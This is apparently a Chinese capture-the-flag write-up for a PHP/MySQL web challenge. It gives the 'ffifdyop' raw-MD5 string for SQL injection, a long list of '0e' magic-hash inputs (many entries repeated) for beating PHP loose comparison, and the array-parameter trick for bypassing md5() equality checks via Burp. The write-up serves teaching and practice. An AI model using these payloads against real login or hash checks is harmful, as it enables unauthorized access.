首先打开靶机,只有一个输入框
用bp查看一下

这里有个提示,根据提示知道,要在输入框中传入字符,经过MD5加密之后,构成SQL注入的语句,也就是 ' ' or True
因为mysql在进行布尔型判断时,以数字开头的字符串会被转换成整型,所以只要MD5之后的字符串是 ‘ ’ or数字xxxx就可以。
这里通过百度检索到一个神奇的字符串:ffifdyop,这个字符串加密之后是 ’or’6XXXXXXXXX
则SQL语句就被拼接为:select * from 'admin' where password=''or '6xxx ,会被MYSQL认为
select * from 'admin' where password='' or 6,这就完成了SQL注入。输入后进入下一个页面,直接看bp抓到的源码

根据提示,通过GET方式传入a b两个参数,且a和b不相等,MD5加密后相等
这里有2个思路,一个是利用弱等于,让a b不同,但是MD5加密之后都是同一个数字开头的字符串。也可以让a b不同,且都是数组。因为PHP的MD5函数加密数组返回的实NULL,则可以绕过检测。
这里给出一些MD5之后以数字打头的一些字符串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
随便选2个给a b通过get方法传入即可。接着进入下一关

可以看到跟上一关,类似,不过是POST方法传入2个参数,直接比较不相等,加密后相等。这里利用数组,param1[]=11¶m2[]=22,要注意的是利用bp把GET方法修改为POST方法时,除了改方法类型,还要添加下面这个请求头
Content-Type: application/x-www-form-urlencoded


1887

被折叠的 条评论
为什么被折叠?



